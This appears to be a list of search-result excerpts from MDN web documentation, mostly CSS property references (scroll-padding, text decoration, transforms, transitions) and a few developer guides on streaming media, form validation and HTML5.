send us a pull request. syntax /* keyword values */ scroll-padding-inline-end: auto; /* <length> values */ scroll-padding-inline-end: 10px; scroll-padding-inline-end: 1em; scroll-padding-inline-end: 10%; /* global values */ scroll-padding-inline-end: inherit; scroll-padding-inline-end: initial; scroll-padding-inline-end: unset; values <length-percentage> an inwards offset from the inline en...
scroll-padding-inline-start - CSS: Cascading Style Sheets
the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ scroll-padding-inline-start: auto; /* <length> values */ scroll-padding-inline-start: 10px; scroll-padding-inline-start: 1em; scroll-padding-inline-start: 10%; /* global values */ scroll-padding-inline-start: inherit; scroll-padding-inline-start: initial; scroll-padding-inline-start: unset; values <length-percentage> an inwards offset from...
scroll-padding-inline - CSS: Cascading Style Sheets
the scroll-padding-inline shorthand property sets the scroll padding of an element in the inline dimension. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the scroll-padding properties define offsets for the optimal viewing region of the scrollport: the region used as the target region for placing things in view of the user. this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport. constituent properties this property is a shorthand ...
scroll-padding-left - CSS: Cascading Style Sheets
the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ scroll-padding-left: auto; /* <length> values */ scroll-padding-left: 10px; scroll-padding-left: 1em; scroll-padding-left: 10%; /* global values */ scroll-padding-left: inherit; scroll-padding-left: initial; scroll-padding-left: unset; values <length-percentage> an inwards offset from the left edge of the scrollport, as a valid length or a...
scroll-padding-right - CSS: Cascading Style Sheets
the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ scroll-padding-right: auto; /* <length> values */ scroll-padding-right: 10px; scroll-padding-right: 1em; scroll-padding-right: 10%; /* global values */ scroll-padding-right: inherit; scroll-padding-right: initial; scroll-padding-right: unset; values <length-percentage> an inwards offset from the top edge of the scrollport, as a valid lengt...
scroll-padding-top - CSS: Cascading Style Sheets
the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ scroll-padding-top: auto; /* <length> values */ scroll-padding-top: 10px; scroll-padding-top: 1em; scroll-padding-top: 10%; /* global values */ scroll-padding-top: inherit; scroll-padding-top: initial; scroll-padding-top: unset; values <length-percentage> an inwards offset from the top edge of the scrollport, as a valid length or a percent...
scroll-padding - CSS: Cascading Style Sheets
the scroll-padding shorthand property sets scroll padding on all sides of an element at once, much like the padding property does for padding on an element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the scroll-padding-* properties define offsets for the optimal viewing region of the scrollport: the region used as the target region for placing things in view of the user. this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars), or simply to put more breathing room between a targeted element and the edges of the scrollport. co...
scroll-snap-type - CSS: Cascading Style Sheets
the scroll-snap-type css property sets how strictly snap points are enforced on the scroll container in case there is one. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. specifying any precise animations or physics used to enforce those snap points is not covered by this property but instead left up to the user agent. /* keyword values */ scroll-snap-type: none; scroll-snap-type: x; scroll-snap-type: y; scroll-snap-type: block; scroll-snap-type: inline; scroll-snap-type: both; /* optional mandatory | proximity*/ scroll-snap-type: x mandatory; scroll-snap-type: y proximity; scroll-snap-type: both mandatory; /* et...
shape-image-threshold - CSS: Cascading Style Sheets
the shape-image-threshold css property sets the alpha channel threshold used to extract the shape using an image as the value for shape-outside. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. any pixels whose alpha component's value is greater than the threshold are considered to be part of the shape for the purposes of determining its boundaries. for example, a value of 0.5 means that the shape will enclose all the pixels that are more than 50% opaque. /* <number> value */ shape-image-threshold: 0.7; /* global values */ shape-image-threshold: inherit; shape-image-threshold: initial; shape-image-threshold: unset;...
shape-outside - CSS: Cascading Style Sheets
p. by default, inline content wraps around its margin box; shape-outside provides a way to customize this wrapping, making it possible to wrap text around complex objects rather than simple boxes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ shape-outside: none; shape-outside: margin-box; shape-outside: content-box; shape-outside: border-box; shape-outside: padding-box; /* function values */ shape-outside: circle(); shape-outside: ellipse(); shape-outside: inset(10px 10px 10px 10px); shape-outside: polygon(10px 10px, 20px 20px, 30px 30px); shape-outside: path('m0.5,1 c0.5,1,0,0.7,0,0.
<shape> - CSS: Cascading Style Sheets
ations specification status comment css level 2 (revision 1)the definition of '<shape>' in that specification. recommendation defines with the clip property. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet<shape> deprecatedchrome full support 1edge full support 12firefox full support 1ie ...
table-layout - CSS: Cascading Style Sheets
the table-layout css property sets the algorithm used to lay out <table> cells, rows, and columns. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ table-layout: auto; table-layout: fixed; /* global values */ table-layout: inherit; table-layout: initial; table-layout: unset; values auto by default, most browsers use an automatic table layout algorithm. the widths of the table and its cells are adjusted to fit the content. fixed table and column widths are set by the widths of table and col elements or by the width of the first row of cells. cells in subsequent rows do not affect ...
text-align-last - CSS: Cascading Style Sheets
the text-align-last css property sets how the last line of a block or a line, right before a forced line break, is aligned. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ text-align-last: auto; text-align-last: start; text-align-last: end; text-align-last: left; text-align-last: right; text-align-last: center; text-align-last: justify; /* global values */ text-align-last: inherit; text-align-last: initial; text-align-last: unset; values auto the affected line is aligned per the value of text-align, unless text-align is justify, in which case the effect is the same as setting text...
text-align - CSS: Cascading Style Sheets
the text-align css property sets the horizontal alignment of a block element or table-cell box. this means it works like vertical-align but in the horizontal direction. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ text-align: left; text-align: right; text-align: center; text-align: justify; text-align: justify-all; text-align: start; text-align: end; text-align: match-parent; /* character-based alignment in a table column */ text-align: "."; text-align: "." center; /* block alignment values (non-standard syntax) */ text-align: -moz-center; text-align: -webkit-center; /* global valu...
text-decoration-color - CSS: Cascading Style Sheets
y text-decoration-line. the color applies to decorations, such as underlines, overlines, strikethroughs, and wavy lines like those used to mark misspellings, in the scope of the property's value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. css does not provide a direct mechanism for specifying a unique color for each line type. this effect can nevertheless be achieved by nesting elements, applying a different line type to each element (with the text-decoration-line property), and specifying the line color (with text-decoration-color) on a per-element basis. syntax /* <color> values */ text-decoration-color: cu...
text-decoration-line - CSS: Cascading Style Sheets
the text-decoration-line css property sets the kind of decoration that is used on text in an element, such as an underline or overline. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. when setting multiple line-decoration properties at once, it may be more convenient to use the text-decoration shorthand property instead. syntax /* single keyword */ text-decoration-line: none; text-decoration-line: underline; text-decoration-line: overline; text-decoration-line: line-through; text-decoration-line: blink; /* multiple keywords */ text-decoration-line: underline overline; /* two decoration lines */ text...
text-decoration-style - CSS: Cascading Style Sheets
the text-decoration-style css property sets the style of the lines specified by text-decoration-line. the style applies to all lines that are set with text-decoration-line. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. if the specified decoration has a specific semantic meaning, like a line-through line meaning that some text has been deleted, authors are encouraged to denote this meaning using an html tag, like <del> or <s>. as browsers can disable styling in some cases, the semantic meaning won't disappear in such a situation. when setting multiple line-decoration properties at once, it may be more convenient t...
text-decoration - CSS: Cascading Style Sheets
roperty sets the appearance of decorative lines on text. it is a shorthand for text-decoration-line, text-decoration-color, text-decoration-style, and the newer text-decoration-thickness property. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. text decorations are drawn across descendant text elements. this means that if an element specifies a text decoration, then a child element can't remove the decoration. for example, in the markup <p>this text has <em>some emphasized words</em> in it.</p>, the style rule p { text-decoration: underline; } would cause the entire paragraph to be underlined. the style rule em { tex...
text-emphasis - CSS: Cascading Style Sheets
the text-emphasis css property applies emphasis marks to text (except spaces and control characters). it is a shorthand for text-emphasis-style and text-emphasis-color. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the text-emphasis property is quite different from text-decoration. the text-decoration property does not inherit, and the decoration specified is applied across the whole element. however, text-emphasis does inherit, which means it is possible to change emphasis marks for descendents. the size of the emphasis symbol, like ruby symbols, is about 50% of the size of the font, and text-emphasis may affect...
text-indent - CSS: Cascading Style Sheets
the text-indent css property sets the length of empty space (indentation) that is put before lines of text in a block. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. horizontal spacing is with respect to the left (or right, for right-to-left layout) edge of the containing block-level element's content box. syntax /* <length> values */ text-indent: 3mm; text-indent: 40px; /* <percentage> value relative to the containing block width */ text-indent: 15%; /* keyword values */ text-indent: 5em each-line; text-indent: 5em hanging; text-indent: 5em hanging each-line; /* global values */ text-indent: inherit; text-...
text-orientation - CSS: Cascading Style Sheets
affects text in vertical mode (when writing-mode is not horizontal-tb). it is useful for controlling the display of languages that use vertical script, and also for making vertical table headers. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ text-orientation: mixed; text-orientation: upright; text-orientation: sideways-right; text-orientation: sideways; text-orientation: use-glyph-orientation; /* global values */ text-orientation: inherit; text-orientation: initial; text-orientation: unset; the text-orientation property is specified as a single keyword from the list below. values ...
text-overflow - CSS: Cascading Style Sheets
the text-overflow css property sets how hidden overflow content is signaled to users. it can be clipped, display an ellipsis ('…'), or display a custom string. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the text-overflow property doesn't force an overflow to occur. to make text overflow its container you have to set other css properties: overflow and white-space. for example: overflow: hidden; white-space: nowrap; the text-overflow property only affects content that is overflowing a block container element in its inline progression direction (not text overflowing at the bottom of a box, for example). synta...
text-shadow - CSS: Cascading Style Sheets
ts a comma-separated list of shadows to be applied to the text and any of its decorations. each shadow is described by some combination of x and y offsets from the element, blur radius, and color. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* offset-x | offset-y | blur-radius | color */ text-shadow: 1px 1px 2px black; /* color | offset-x | offset-y | blur-radius */ text-shadow: #fc0 1px 0 10px; /* offset-x | offset-y | color */ text-shadow: 5px 5px #558abb; /* color | offset-x | offset-y */ text-shadow: white 2px 5px; /* offset-x | offset-y /* use defaults for color and blur-radius */ text-shadow: 5p...
text-transform - CSS: Cascading Style Sheets
ty specifies how to capitalize an element's text. it can be used to make text appear in all-uppercase or all-lowercase, or with each word capitalized. it also can help improve legibility for ruby. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the text-transform property takes into account language-specific case mapping rules such as the following: in turkic languages, like turkish (tr), azerbaijani (az), crimean tatar (crh), volga tatar (tt), and bashkir (ba), there are two kinds of i, with and without the dot, and two case pairings: i/İ and ı/i. in german (de), the ß becomes ss in uppercase. i...
text-underline-position - CSS: Cascading Style Sheets
the text-underline-position css property specifies the position of the underline which is set using the text-decoration property's underline value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* single keyword */ text-underline-position: auto; text-underline-position: under; text-underline-position: left; text-underline-position: right; /* multiple keywords */ text-underline-position: under left; text-underline-position: right under; /* global values */ text-underline-position: inherit; text-underline-position: initial; text-underline-position: unset; syntax values auto the user agent uses its o...
top - CSS: Cascading Style Sheets
the top css property participates in specifying the vertical position of a positioned element. it has no effect on non-positioned elements. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the effect of top depends on how the element is positioned (i.e., the value of the position property): when position is set to absolute or fixed, the top property specifies the distance between the element's top edge and the top edge of its containing block. when position is set to relative, the top property specifies the distance the element's top edge is moved below its normal position. when position is set to sticky, the to...
perspective() - CSS: Cascading Style Sheets
s the distance between the user and the z=0 plane, the perspective from which the viewer would be if the 2-dimensional interface were 3-dimensional. its result is a <transform-function> data type. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the perspective() transform function is part of the transform value applied on the element being transformed. this differs from the perspective and perspective-origin properties which are attached to the parent of a child transformed in 3-dimensional space. syntax the perspective distance used by perspective() is specified by a <length> value, which represents the distance b...
rotate3d() - CSS: Cascading Style Sheets
the rotate3d() css function defines a transformation that rotates an element around a fixed axis in 3d space, without deforming it. its result is a <transform-function> data type. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. in 3d space, rotations have three degrees of liberty, which together describe a single axis of rotation. the axis of rotation is defined by an [x, y, z] vector and pass by the origin (as defined by the transform-origin property). if, as specified, the vector is not normalized (i.e., if the sum of the square of its three coordinates is not 1), the user agent will normalize it internally. a non...
rotateX() - CSS: Cascading Style Sheets
the rotatex() css function defines a transformation that rotates an element around the abscissa (horizontal axis) without deforming it. its result is a <transform-function> data type. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the axis of rotation passes through an origin, defined by the transform-origin css property. note: rotatex(a) is equivalent to rotate3d(1, 0, 0, a). note: unlike rotations in the 2d plane, the composition of 3d rotations is usually not commutative. in other words, the order in which the rotations are applied impacts the result. syntax the amount of rotation created by rotatex() is s...
rotateY() - CSS: Cascading Style Sheets
the rotatey() css function defines a transformation that rotates an element around the ordinate (vertical axis) without deforming it. its result is a <transform-function> data type. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the axis of rotation passes through an origin, defined by the transform-origin css property. note: rotatey(a) is equivalent to rotate3d(0, 1, 0, a). note: unlike rotations in the 2d plane, the composition of 3d rotations is usually not commutative. in other words, the order in which the rotations are applied impacts the result. syntax the amount of rotation created by rotatey() is spe...
rotateZ() - CSS: Cascading Style Sheets
the rotatez() css function defines a transformation that rotates an element around the z-axis without deforming it. its result is a <transform-function> data type. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the axis of rotation passes through an origin, defined by the transform-origin css property. note: rotatez(a) is equivalent to rotate(a) or rotate3d(0, 0, 1, a). note: unlike rotations in the 2d plane, the composition of 3d rotations is usually not commutative. in other words, the order in which the rotations are applied impacts the result. syntax the amount of rotation created by rotatez() is specifie...
scale3d() - CSS: Cascading Style Sheets
n that resizes an element in 3d space. because the amount of scaling is defined by a vector, it can resize different dimensions at different scales. its result is a <transform-function> data type. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. this scaling transformation is characterized by a three-dimensional vector. its coordinates define how much scaling is done in each direction. if all three coordinates are equal, the scaling is uniform (isotropic) and the aspect ratio of the element is preserved (this is a homothetic transformation). when a coordinate value is outside the [-1, 1] range, the element grows alon...
scaleZ() - CSS: Cascading Style Sheets
the scalez() css function defines a transformation that resizes an element along the z-axis. its result is a <transform-function> data type. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. this scaling transformation modifies the z-coordinate of each element point by a constant factor, except when the scale factor is 1, in which case the function is the identity transform. the scaling is not isotropic, and the angles of the element are not conserved. scalez(-1) defines an axial symmetry, with the z-axis passing through the origin (as specified by the transform-origin property). in the above interactive examples, pe...
skew() - CSS: Cascading Style Sheets
the skew() css function defines a transformation that skews an element on the 2d plane. its result is a <transform-function> data type. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. this transformation is a shear mapping (transvection) that distorts each point within an element by a certain angle in the horizontal and vertical directions. the coordinates of each point are modified by a value proportionate to the specified angle and the distance to the origin; thus, the farther from the origin a point is, the greater will be the value added it. syntax the skew() function is specified with either one or two values...
skewX() - CSS: Cascading Style Sheets
the skewx() css function defines a transformation that skews an element in the horizontal direction on the 2d plane. its result is a <transform-function> data type. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. this transformation is a shear mapping (transvection) that distorts each point within an element by a certain angle in the horizontal direction. the abscissa coordinate of each point is modified by a value proportionate to the specified angle and the distance to the origin; thus, the farther from the origin a point is, the greater will be the value added it. note: skewx(a) is equivalent to skew(a). synt...
skewY() - CSS: Cascading Style Sheets
the skewy() css function defines a transformation that skews an element in the vertical direction on the 2d plane. its result is a <transform-function> data type. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. this transformation is a shear mapping (transvection) that distorts each point within an element by a certain angle in the vertical direction. the ordinate coordinate of each point is modified by a value proportionate to the specified angle and the distance to the origin; thus, the farther from the origin a point is, the greater will be the value added it. syntax skewy(a) values a is an <angle> repres...
translateZ() - CSS: Cascading Style Sheets
the translatez() css function repositions an element along the z-axis in 3d space, i.e., closer to or farther away from the viewer. its result is a <transform-function> data type. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. this transformation is defined by a <length> which specifies how far inward or outward the element or elements move. in the above interactive examples, perspective: 550px; (to create a 3d space) and transform-style: preserve-3d; (so the children, the 6 sides of the cube, are also positioned in the 3d space), have been set on the cube. note: translatez(tz) is equivalent to translate3d(0, 0,...
transform-style - CSS: Cascading Style Sheets
the transform-style css property sets whether children of an element are positioned in the 3d space or are flattened in the plane of the element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. if flattened, the element's children will not exist on their own in the 3d-space. as this property is not inherited, it must be set for all non-leaf descendants of the element. syntax /* keyword values */ transform-style: flat; transform-style: preserve-3d; /* global values */ transform-style: inherit; transform-style: initial; transform-style: unset; values flat indicates that the children of the element are...
transform - CSS: Cascading Style Sheets
the transform css property lets you rotate, scale, skew, or translate an element. it modifies the coordinate space of the css visual formatting model. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. if the property has a value different than none, a stacking context will be created. in that case, the element will act as a containing block for any position: fixed; or position: absolute; elements that it contains. only transformable elements can be transformed. that is, all elements whose layout is governed by the css box model except for: non-replaced inline boxes, table-column boxes, and table-column-group boxes. ...
transition-delay - CSS: Cascading Style Sheets
the transition-delay css property specifies the duration to wait before starting a property's transition effect when its value changes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the delay may be zero, positive, or negative: a value of 0s (or 0ms) will begin the transition effect immediately. a positive value will delay the start of the transition effect for the given length of time. a negative value will begin the transition effect immediately, and partway through the effect. in other words, the effect will be animated as if it had already been running for the given length of time. you may specify multi...
transition-duration - CSS: Cascading Style Sheets
the transition-duration css property sets the length of time a transition animation should take to complete. by default, the value is 0s, meaning that no animation will occur. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. you may specify multiple durations; each duration will be applied to the corresponding property as specified by the transition-property property, which acts as a master list. if there are fewer durations specified than in the master list, the user agent repeat the list of durations. if there are more durations, the list is simply truncated to the right size. in both case the css declaration stays...
transition-timing-function - CSS: Cascading Style Sheets
the transition-timing-function css property sets how intermediate values are calculated for css properties being affected by a transition effect. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. this, in essence, lets you establish an acceleration curve so that the speed of the transition can vary over its duration. this acceleration curve is defined using one <timing-function> for each property to be transitioned. you may specify multiple timing functions; each one will be applied to the corresponding property as specified by the transition-property property, which acts as a transition-property list. if there are ...
transition - CSS: Cascading Style Sheets
the transition css property is a shorthand property for transition-property, transition-duration, transition-timing-function, and transition-delay. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. transitions enable you to define the transition between two states of an element. different states may be defined using pseudo-classes like :hover or :active or dynamically set using javascript. constituent properties this property is a shorthand for the following css properties: transition-delay transition-duration transition-property transition-timing-function syntax /* apply to 1 property */ /* property name |...
var() - CSS: Cascading Style Sheets
the var() css function can be used to insert the value of a custom property (sometimes called a "css variable") instead of any part of a value of another property. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the var() function cannot be used in property names, selectors or anything else besides property values. (doing so usually produces invalid syntax, or else a value whose meaning has no connection to the variable.) syntax the first argument to the function is the name of the custom property to be substituted. an optional second argument to the function serves as a fallback value. if the custom property refe...
visibility - CSS: Cascading Style Sheets
the visibility css property shows or hides an element without changing the layout of a document. the property can also hide rows or columns in a <table>. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. to both hide an element and remove it from the document layout, set the display property to none instead of using visibility. syntax /* keyword values */ visibility: visible; visibility: hidden; visibility: collapse; /* global values */ visibility: inherit; visibility: initial; visibility: unset; the visibility property is specified as one of the keyword values listed below. values visible the element box is...
width - CSS: Cascading Style Sheets
the width css property sets an element's width. by default, it sets the width of the content area, but if box-sizing is set to border-box, it sets the width of the border area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the min-width and max-width properties override width. syntax /* <length> values */ width: 300px; width: 25em; /* <percentage> value */ width: 75%; /* keyword values */ width: max-content; width: min-content; width: fit-content(20em); width: auto; /* global values */ width: inherit; width: initial; width: unset; the width property is specified as either: one of the following keyword va...
word-break - CSS: Cascading Style Sheets
the word-break css property sets whether line breaks appear wherever the text would otherwise overflow its content box. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ word-break: normal; word-break: break-all; word-break: keep-all; word-break: break-word; /* deprecated */ /* global values */ word-break: inherit; word-break: initial; word-break: unset; the word-break property is specified as a single keyword chosen from the list of values below. values normal use the default line break rule. break-all to prevent overflow, word breaks should be inserted between any two character...
word-spacing - CSS: Cascading Style Sheets
the word-spacing css property sets the length of space between words and between tags. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword value */ word-spacing: normal; /* <length> values */ word-spacing: 3px; word-spacing: 0.3em; /* <percentage> values */ word-spacing: 50%; word-spacing: 200%; /* global values */ word-spacing: inherit; word-spacing: initial; word-spacing: unset; values normal the normal inter-word spacing, as defined by the current font and/or the browser. <length> specifies extra spacing in addition to the intrinsic inter-word spacing defined by the font. <percentage> ...
writing-mode - CSS: Cascading Style Sheets
are laid out horizontally or vertically, as well as the direction in which blocks progress. when set for an entire document, it should be set on the root element (html element for html documents). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. this property specifies the block flow direction, which is the direction in which block-level containers are stacked, and the direction in which inline-level content flows within a block container. thus, it also determines the ordering of block-level content. syntax /* keyword values */ writing-mode: horizontal-tb; writing-mode: vertical-rl; writing-mode: vertical-lr; /* gl...
z-index - CSS: Cascading Style Sheets
the z-index css property sets the z-order of a positioned element and its descendants or flex items. overlapping elements with a larger z-index cover those with a smaller one. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. for a positioned box (that is, one with any position other than static), the z-index property specifies: the stack level of the box in the current stacking context. whether the box establishes a local stacking context. syntax /* keyword value */ z-index: auto; /* <integer> values */ z-index: 0; z-index: 3; z-index: 289; z-index: -1; /* negative values to lower the priority */ /* global v...
Live streaming web audio and video - Developer guides
streamer gstreamer is an open source cross-platform multimedia framework that allows you to create a variety of media-handling components, including streaming components. through its plugin system, gstreamer provides support for more than a hundred codecs (including mpeg-1, mpeg-2, mpeg-4, h.261, h.263, h.264, realvideo, mp3, wmv, and flv.) gstreamer plugins such as souphttpclientsink and shout2
send exist to stream media over http. you can also integrate with python's twisted framework or use something like flumotion (open source streaming software). for rtmp transfer you can use the nginx rtmp module. shoutcast shoutcast is a cross-platform proprietary technology for streaming media. developed by nullsoft, it allows digital audio content in mp3 or aac format to be broadcast. for web use,...
Audio and Video Delivery - Developer guides
find more about web audio api basics in using the web audio api. getusermedia / stream api it's also possible to retrieve a live stream from a webcam and/or microphone using getusermedia and the stream api. this makes up part...
Audio and video manipulation - Developer guides
function() { textarea.focus(); }) textarea.addeventlistener('input', setplaybackrate); window.addeventlistener('load', setplaybackrate); note: try the playbackrate example live. audio manipulation playbackrate aside, to manipulate audio you'll typically use the web audio api. selecting an audio source the web audio api can receive audio from a variety of sources, then process it and
send it back out to an audiodestinationnode representing the output device to which the sound is sent after processing. if the audio source is... use this web audio node type an audio track from an html <audio> or <video> element mediaelementaudiosourcenode a plain raw audio data buffer in memory audiobuffersourcenode an oscillator generating a sine wa...
Rich-Text Editing in Mozilla - Developer guides
resources mozilla.org's rich-text editing specification mozilla.org's rich-text editing demo converting an app using document.designmode from ie to mozilla at mozilla.org designmode msdn: how to cr...
Constraint validation - Developer guides
tically validating the constraints, while calling reportvalidity() or submitting the form is called interactively validating the constraints. note: if the novalidate attribute is set on the <form> element, interactive validation of the constraints doesn't happen. calling the submit() method on the htmlformelement interface doesn't trigger a constraint validation. in other words, this method
sends the form data to the server even if doesn't satisfy the constraints. call the click() method on a submit button instead. complex constraints using the constraint validation api using javascript and the constraint api, it is possible to implement more complex constraints, for example, constraints combining several fields, or constraints involving complex calculations. basically, the idea is ...
HTML5 - Developer guides
hen faced with invalid html. this leads to far greater predictability and interoperability between html5-compliant browsers. connectivity web sockets allows creating a permanent connection between the page and the server and to exchange non-html data through that means. server-sent events allows a server to push events to a client, rather than the classical paradigm where the server could
send data only in response to a client's request. webrtc this technology, where rtc stands for real-time communication, allows connecting to other people and controlling videoconferencing directly in the browser, without the need for a plugin or an external application. offline & storage offline resources: the application cache firefox fully supports the html5 offline resource specification. m...
Localizations and character encodings - Developer guides
s-1252 for central and eastern european locales, middle eastern locales and east asian locales. in order to avoid the problem of web authors creating new utf-8 content without declaring that the content uses utf-8 and in order to maximize the ability of users to read content cross-locale, do not set the fallback encoding to utf-8 for any newly-introduced localization. note that firefox no longer
sends the accept-charset http header, so there is no need to consider what gets advertised in accept-charset when setting the fallback encoding. for locales where the fallback encoding is currently iso-8859-1, it should be changed to windows-1252. iso-8859-1 is decoded in the exact same way as windows-1252, but firefox is moving to treating windows-1252 as the preferred label for this encoding in acc...
A hybrid approach - Developer guides
erformance problems with responsive design by incorporating server-side techniques. for example, an often-criticized point about responsive web design is that full-resolution images are sent to all devices, including phones that show the images scaled down anyway. one such technique for dealing with this issue uses server-side user-agent detection along with the wurfl device capability library to
send a properly sized image for the user’s device. a range of products are also emerging which provide this as a service. of course, this technique suffers from all the downsides associated with user-agent detection. but even if it does not work, it is no worse with respect to performance than only using fluid images. by combining the techniques listed above, we can get a mobile web development str...
Mobile-friendliness - Developer guides
sted their site’s content to reflect this, and it meets the needs of mobile users. goal #3 (performance) “give your users a smooth experience, even on a slow connection.” though things have been getting better in recent years, browsing the internet over a wireless data connection can still be pretty painful. this makes it more essential than ever to practice good performance practices, only
sending the user the bits they will actually need. know your audience while not strictly a part of the definition of being mobile friendly, defining who your target audience is makes these goals much more concrete. for example, it is absolutely critical to keep in mind which browsers and devices you will target when picking a mobile strategy. if your audience is full of early-adopters, you can focus o...
Separate sites for mobile and desktop - Developer guides
